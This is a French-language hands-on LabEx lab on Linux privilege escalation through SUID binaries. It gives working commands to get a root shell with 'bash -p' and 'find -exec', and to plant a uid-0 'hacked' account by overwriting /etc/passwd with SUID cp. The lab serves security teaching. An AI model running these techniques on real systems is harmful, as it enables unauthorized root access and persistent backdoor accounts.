Introduction
Dans ce laboratoire, vous allez apprendre à propos de la permission SUID (Set user ID upon execution) et à l'utiliser pour monter en privilèges sur les systèmes Linux. L'objectif est d'obtenir les droits root en exploitant les binaires SUID avec diverses techniques, notamment en utilisant les commandes bash, find, cp et mv.
Comprendre le SUID
Dans cette étape, vous allez comprendre le concept de la permission SUID et ses implications.
En général, lorsqu'un programme est exécuté sur Linux, il s'exécute avec les permissions de l'utilisateur actuel. Cependant, certains programmes, comme cp, nécessitent des privilèges élevés pour effectuer certaines opérations, telles que copier des fichiers dans des répertoires restreints. Pour permettre aux utilisateurs normaux d'exécuter de tels programmes avec des privilèges élevés, la permission SUID peut être définie sur le fichier exécutable.
SUID signifie "Set user ID upon execution" (Définir l'identifiant utilisateur à l'exécution). Lorsqu'un fichier a la permission SUID définie, il s'exécute avec les permissions de son propriétaire, quel que soit l'utilisateur qui l'exécute. Par exemple, la commande cp est propriété de l'utilisateur root et a le bit SUID défini, ce qui permet à tout utilisateur de l'exécuter avec les privilèges root.
Pour vérifier la permission SUID sur la commande cp et enregistrer la sortie dans un fichier, exécutez la commande suivante :
ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt
Affichez le contenu du fichier suid_cp.txt en utilisant la commande suivante :
cat /home/labex/project/suid_cp.txt
Sortie attendue :
-rwsr-xr-x 1 root root 141832 Feb 8 2024 /usr/bin/cp
Vous devriez voir un s dans les bits de permission, indiquant la permission SUID.
Bien que le SUID puisse être utile pour permettre aux utilisateurs normaux d'exécuter des commandes privilégiées spécifiques, il peut également être exploité si le binaire SUID offre des fonctionnalités pour exécuter des commandes système ou modifier des fichiers.
Exploitation du SUID avec bash
Dans cette étape, vous allez apprendre à exploiter la commande bash avec la permission SUID pour monter en privilèges.
Tout d'abord, ouvrez un terminal et accédez au répertoire
/home/labex/project.cd /home/labex/projectVérifiez les permissions de la commande
bash.ls -l /bin/bashSortie attendue :
-rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bashSi la commande
basha le bit SUID défini, vous pouvez l'utiliser pour exécuter des commandes système avec les privilèges root en utilisant la commande suivante :bash -pEn utilisant
whoami, vous pouvez vérifier que vous avez un shell root.whoamiSortie attendue :
rootMaintenant, vous pouvez créer un fichier nommé
root.txtdans le répertoire/rootet vérifier le contenu du fichier.touch /root/root.txtVous devriez voir le fichier
root.txtdans le répertoire/root.
Exploitation du SUID avec find
Dans cette étape, vous allez apprendre à exploiter la commande find avec la permission SUID pour monter en privilèges.
Après l'étape précédente, vous devriez avoir un shell root. Pour cette étape, vous devez vous déconnecter du shell root et vous reconnecter en tant qu'utilisateur labex en utilisant la commande exit ou en ouvrant un nouveau terminal.
Tout d'abord, accédez au répertoire
/home/labex/project:cd /home/labex/projectVérifiez les permissions de la commande
find:ls -l /usr/bin/findSi la commande
finda le bit SUID défini, vous pouvez l'utiliser pour exécuter des commandes système avec les privilèges root.La syntaxe pour exécuter une commande avec
findest la suivante :find < file > -exec < command > \;Ici,
<file>peut être n'importe quel fichier. Créons un fichier appelétest:touch testMaintenant, vous pouvez exécuter des commandes en utilisant
find:find test -exec whoami \;Cela exécutera la commande
whoamiavec les privilèges root. Cependant, cette méthode n'est pas pratique pour les commandes interactives commesshousu.Pour obtenir un shell root plus pratique, vous pouvez exécuter la commande
/bin/bash:find test -exec /bin/bash -p \;Notez que le flag
-pest nécessaire pour conserver l'identifiant utilisateur effectif (EUID) et éviter qu'il ne soit réinitialisé à l'identifiant utilisateur réel (RUID).Vous devriez maintenant avoir un shell root. Créez un fichier nommé
root.txtdans le répertoire/rootet vérifiez le contenu du fichier :touch /root/root.txtVous devriez voir le fichier
root.txtdans le répertoire/root.
Exploitation du SUID avec cp et mv
Dans cette étape, vous allez apprendre à exploiter les commandes cp et mv avec la permission SUID pour monter en privilèges en modifiant le fichier /etc/passwd ou /etc/shadow.
Après l'étape précédente, vous devriez avoir un shell root. Pour cette étape, vous devez vous déconnecter du shell root et vous reconnecter en tant qu'utilisateur labex en utilisant la commande exit ou en ouvrant un nouveau terminal.
Tout d'abord, accédez au répertoire
/home/labex/project:cd /home/labex/projectVérifiez les permissions de la commande
cp:ls -l /bin/cpSi la commande
cpa le bit SUID défini, vous pouvez procéder à l'exploitation.Copiez le contenu de
/etc/passwddans un fichier de votre répertoire personnel :cat /etc/passwd > /home/labex/project/passwdCréez une nouvelle entrée d'utilisateur avec les détails suivants :
Nom d'utilisateur : hacked
Mot de passe : pass123
Insérez la ligne suivante à la fin du fichier
/home/labex/project/passwd:echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
Maintenant, utilisez la commande
cpavec la permission SUID pour écraser le fichier/etc/passwd:cp /home/labex/project/passwd /etc/passwdAprès avoir écrasé le fichier, vous pouvez basculer vers l'utilisateur
hackedavec le mot de passepass123en utilisant la commandesu:su hacked
Étant donné que l'utilisateur hacked a un identifiant utilisateur (uid) de 0, vous aurez les privilèges root.
La méthode d'exploitation pour la commande mv est similaire à celle de cp. Vous pouvez l'essayer vous-même.
Recherche de binaires SUID
Dans cette étape, vous allez apprendre à trouver les binaires SUID sur un système qui peuvent potentiellement être exploités pour monter en privilèges.
Vous pouvez utiliser les commandes suivantes pour lister tous les fichiers exécutables avec le bit SUID défini :
find / -user root -perm -4000 -print 2> /dev/null find / -perm -u=s -type f 2> /dev/null find / -user root -perm -4000 -exec ls -ldb {} \;Accédez au répertoire
/home/labex/projectpour effectuer les étapes suivantes.cd /home/labex/projectChoisissez l'une des commandes pour lister les binaires SUID sur le système et analysez la sortie.
find / -user root -perm -4000 -print 2> /dev/null > check_results.txtVérifiez le contenu du fichier
check_results.txtpour afficher la liste des binaires SUID sur le système.cat check_results.txtCependant, la sortie peut contenir de nombreux fichiers qui ne peuvent pas être exploités pour monter en privilèges, nécessitant une analyse manuelle.
Résumé
Dans ce laboratoire (LabEx), vous avez appris à propos de la permission SUID et à exploiter différents binaires SUID, tels que bash, find, cp et mv, pour monter en privilèges sur les systèmes Linux. Vous avez acquis une expérience pratique en exploitant ces binaires pour obtenir un accès root, ce qui est une compétence cruciale dans le domaine de la cybersécurité. Le laboratoire a présenté un scénario pratique et vous a guidé à travers les étapes pour comprendre et appliquer efficacement les techniques.



